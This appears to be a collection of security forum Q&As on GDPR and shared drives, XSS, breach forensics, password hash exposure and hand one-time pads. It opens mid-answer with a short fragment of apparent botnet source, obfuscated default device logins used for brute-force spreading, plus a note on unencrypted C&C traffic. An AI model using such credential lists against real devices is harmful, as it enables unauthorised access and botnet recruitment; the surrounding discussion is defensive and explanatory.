    add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x4F\x47\x4B\x4C\x51\x4F", 1);                  // admin    meinsm
    add_auth_entry("\x56\x47\x41\x4A", "\x56\x47\x41\x4A", 1);                              // tech     tech
    add_auth_entry("\x4F\x4D\x56\x4A\x47\x50", "\x44\x57\x41\x49\x47\x50", 1);              // mother   f**ker

Communications are not encrypted if you are thinking of SSL. If you are connected to the C&C and able see the traffic stream, the binary stream protocol together with the attack commands will be visible.

Regarding Binary Data
Binary Data is not really about a whole new Level 4 kind of communication. Basically sending and receiving binary data is more about the start and the finish. How do you start the sending and interpret at the end point. Again as said in the comments; Pipes and sockets communicate binary data across just the same as text data.

Some links for your reference

Mozilla Article on Sending and Reading Binary Data

Typed Array Guide


Google Drive and GDPR I can't seem to find much information on this online, and forgive me if this is obvious to other folks in the info-sec community but would storing documents such as CVs of applicants, letters written for an employee by HR etc. on a shared/Google Drive where other employees can access/see the contents of the files without restriction be considered a breach of GDPR?

This is article 6, lawfulness of processing:

  Processing shall be lawful only if and to the extent that at least one of the following applies:

  the data subject has given consent to the processing of his or her personal data for one or more specific purposes;
  processing is necessary for the performance of a contract to which the data subject is party or in order to take steps at the request of the data subject prior to entering into a contract;
  processing is necessary for compliance with a legal obligation to which the controller is subject;
  processing is necessary in order to protect the vital interests of the data subject or of another natural person;
  processing is necessary for the performance of a task carried out in the public interest or in the exercise of official authority vested in the controller;
  processing is necessary for the purposes of the legitimate interests pursued by the controller or by a third party, except where such interests are overridden by the interests or fundamental rights and freedoms of the data subject which require protection of personal data, in particular where the data subject is a child.

See also the following article (article 25, data protection by design and by default):

  Taking into account the state of the art, the cost of implementation and the nature, scope, context and purposes of processing as well as the risks of varying likelihood and severity for rights and freedoms of natural persons posed by the processing, the controller shall, both at the time of the determination of the means for processing and at the time of the processing itself, implement appropriate technical and organisational measures, such as pseudonymisation, which are designed to implement data-protection principles, such as data minimisation, in an effective manner and to integrate the necessary safeguards into the processing in order to meet the requirements of this Regulation and protect the rights of data subjects.
  The controller shall implement appropriate technical and organisational measures for ensuring that, by default, only personal data which are necessary for each specific purpose of the processing are processed.That obligation applies to the amount of personal data collected, the extent of their processing, the period of their storage and their accessibility. In particular, such measures shall ensure that by default personal data are not made accessible without the individual’s intervention to an indefinite number of natural persons.

And article 28 defines "data processors", which are companies that process data on behalf of a controller. There must be a particular contract between these two parties, here's a little quote:

  Processing by a processor shall be governed by a contract or other legal act under Union or Member State law, that is binding on the processor with regard to the controller and that sets out the subject-matter and duration of the processing, the nature and purpose of the processing, the type of personal data and categories of data subjects and the obligations and rights of the controller. That contract or other legal act shall stipulate, in particular, that the processor [...]

What does this mean in practice? My personal interpretation (IANAL) is that it's ok to share data on Google Drive provided that:

sharing CV data with other employees must be necessary, or the data subject can reasonably expect such data to be shared in that way. For example, if it's only shared between office workers, and you only have one office with three employees working next to each other, I don't think this can be a problem. On the other hand, if you are sharing data between hundreds of employees (in different offices, different locations, for different tasks, etc.) then accessing CV data is none of their business.
Google Drive has provided a DPA (Data processing agreement) that is compliant with article 28 and the GDPR in general, because Google will be processing personal data on your behalf. You need to check this carefully, because I'm not sure Google is compliant for their free services. The last time I checked, only business services (paid versions of their free services) had settings that could be configured to make the service compliant with GDPR and had privacy policies that contained a section for DPA agreements.

My opinion is that just asking the user for consent will not work in this case, because unnecessarily sharing CV data this way just seems a matter of careless organization, rather than a meaningful reason for processing. All it takes to fix this issue is protecting some files with a password, or sharing a folder only with certain accounts.


Is XSS a server-side or client-side vulnerability? My colleagues claim that XSS is a vulnerability on the server side. I always thought that this is a client side vulnerability. Which one of us is correct, and why?

In a cross-site scripting attack, the malicious script is run on the client, but the actual flaw is in the application.   That doesn't necessarily mean that it is a strictly server-side vulnerability, in that the flaw could be in the application's JavaScript, but generally, it is indeed in server-side code, and always in code that is delivered by the server.

There are client-side mitigations, such as the XSS-Protection that is now built into major browsers, or plugins that prevent the execution of JavaScript, but ultimately XSS is a web application vulnerability, and needs to be fixed by the application developers.

I should mention that there is another form of XSS that exploits neither flaws in the client (the browser) nor flaws in the server (the application) but flaws in the user.   This is often called Self-XSS, and exploits the willingness of a inept user to execute JavaScript he has copied and pasted from the Internet and into his browser's developer tools console, solely on base on the promise that against all hope, it will magically allow him to read his ex-girlfriend's Facebook posts despite the fact she has unfriended and blocked him.


What I need checking when analysing an invasion? A company manager stated that the company network was invaded and the invader was able to get sensitive information, like bank account data, passwords, personal info, etc.

I know that I need first stop current and future invasions (unplug the internet cable), then later nuke all data and reinstall all OSes and software in each PC.

But I'm worried about if is it possible track some info about the invader before the reinstall. What is the basic or common places in the system where can I find logs, traces or tips of the invader and their steps? There are some recommended tool to perform that job?

EDIT - Most PCs are running Windows based OSes (mostly WinXP or Seven). All PCs connected to basic network hub-switch and the network is linked to internet via ADSL Router. Probably no logging (unless Windows let some kind of network logging activated as default - it is included in my question)

The secret to discovering how you were hacked usually lies in preparation before the attack rather than after, configuring all systems to send logs to a central log server for example. This is because many types of malware packages delete logs to cover their tracks and make recovery difficult; if systems forward their logs to a central server it helps preserve the record. If there's no central logging it's possible there's nothing for you to find, but here's how I'd attack the problem anyhow.

The ultimate goal should be to establish a timeline, of which systems were hacked, how they were hacked, how the infection spread, and how long it was until the attack was detected and the systems taken off-line. All the information you gather should go into this timeline. Once the timeline is complete you can then use the timeline to reconstruct the sequence of events and the likely impact.

If your office is on an ADSL line then it's unlikely you have any externally-facing servers, most likely all connections originate from the inside of the network. This means it is unlikely that anyone penetrated your network from the outside, most likely somebody was infected by opening a malware file sent in an email (most likely a PDF), or being tricked into browsing to a hacked site. It is also possible that somebody brought the malware in on a USB stick or other type of removable media. ADSL routers are generally poor at logging (if they are even configured to do it), so I would first focus on the anti-virus and windows logs and use any available router logs to supplement.

If you have a central AD server, AV server, and the like then the job will be easier. If not you're going to have to look at individual machines affected. You didn't state how many systems have been hacked, so this may be easy or hard to do depending on the scale of the problem. I'd start with AV logs, expecting that the AV detected the malware but failed to protect the systems. If you don't find anything there look at the system logs. Keep an eye out for java or adobe reader starting, and unexpected crashes/reboots. Events like that point to successful infections.

Once you have determined which systems were affected and then you can then look at your ADSL router logs (providing you have any), and see what the infected systems did before and after infection. The before will help determine how the system was infected (by downloading an email, going to a specific website), and the after may shed light on what the malware was (ie what command and control systems the malware connected to) and what it did. It's unlikely you will be able to determine exactly what information was lost, but at least by knowing that the malware was, how long the systems were infected, and how much information was transferred you can have an idea of the impact.


Are mkpasswd SHA512 hashes secure for the public? I am no crypto expert in any way so please bear with me if my question is kind of stupid.

We use OpenSSH key pairs on a regular basis and due to the asymmetric nature of key pairs, as far as I understood the concept, giving out your public key to the ... well ... "public" - is considered a safe thing to do since it can only be used to verify that you are really you. Creating content or authenticating yourself works against the private key which never leaves your machine, hence the strong security.

Now, given the above mentioned situation as a comparison, can it be considered secure if I created a password hash with the unix tool mkpasswd and a salted SHA512 hash and gave THAT out to the public?

My guess would be that it is not a smart idea to do, same as you would do with hashed passwords in a user database of a website. However, since this is only a guess I'd like some expert opinions.

Thanks!

The key difference here (no pun intended) is that the key includes a significant amount of entropy (i.e. it is random). Passwords are often quite terrible, commonly having under 30 bits of entropy. 30 bits is easily brute-forceable, so password hashes are designed to be slow (you specified salted SHA512, but you omitted the number of rounds), making the brute-force take longer. Despite this mitigation poor passwords will still be broken quickly.

Without a salt an attacker could use precomputation in the form of a rainbow table. That way, they could spend a bunch of time doing work so that when they do discover the hash value they can break it very quickly. The use of a (sufficiently long and random) salt prevents this, so that the attack can only begin the moment the hash is exposed.

So you are correct, this is a bad idea unless it is your password and you generated it with over 100 bits of entropy (in which case it's more like a key than a password).

It should also be noted that SHA-512 with the default of 5,000 rounds is not very good. It's not nearly as bad as a single round of MD5, but most computers nowadays can do over 2,000,000 rounds in under a second. You could expect a motivated attacker targeting a 5,000 round SHA-512 password to do millions to billions of guesses per second.


Secure communication in SHTF I am a prepper. I am preparing for a situation where there will be no rule of law and where I can't rely on the government for all my needs. This naturally involves storing food, water, and items for personal defense. I would like to know how to communicate during a time where the Internet and normal means of communication isn't working. With generators one can have a computer to do some computations that will allow for some advanced cryptography. But my concern is that long termed I don't want to rely on electricity.

I am part of a prepper community and we have established ways to communicate using amateur radios. We also have methods that do not depend on electricity.

I am looking for recommendations on how to set up secure communication assuming that there actually is a way to communicate. Preferably the method shouldn't rely on electricity (even though we expect to have access to simple battery powered calculators). I understand that it is hard to set up secure communication without the help of computers, but I am preparing for situations where this isn't available. I understand that an adversary might have access to computers.
A couple of other thoughts about what I am thinking:

The method doesn't have to be extremely fast as we don't expect to have large volumes of messages.
We have a high level of trust, but I would like the system to have something built into it so that a party can be cut off from the communication without anyone having to meet up. From what I can guess, this would eliminate the idea of having a joint code book.
Messages should be short, maybe no more that 100 words.
I should also say that out group expects to be able to physically meet once in a while. But we will probably have periods where we can't physically meet.

A OTP can be done by created, copied, and used to encrypt and decrypt by hand.  There is however no revocation so if 4 parties shared the same OTP there is no way to kick one party out short of destroying the pad and making a new one.

There are also some significant security limitations:

The pad must be random.  This would be the hardest thing to do without high speed electronics but a small pad could be done using dice for example or using PRNGs prior to the SHTF event.
Each party will need a copy of the OTP which if not made prior to SHTF may require a lot of manual copying.
Each symbol in the pad can only be used once (1 letter in pad = 1 letter in plain text).
If one copy of the pad is compromised then all are compromised.
Some coordination is necessary to ensure two parties don't both encode a message using the same page from the OTP.  In a two party system a simple way is for one party to encode starting from the first page and the other to encode starting from the last page.

The word comes from the fact that original OTPs were small notepads with multiple sheets containing a couple hundred letters per sheet.  When a message was encoded (1 letter from OTP per letter of message) the current sheet was torn off and destroyed to ensure it wouldn't be used again or used by an adversary if the agent was caught.

Due to the limitations you aren't going to want to use an OTP by hand to encrypt novels but for brief urgent messages it would be completely unbreakable by cryptanalysis even if the adversary still had high speed computers.   Actually it would even be unbreakable even against quantum computing.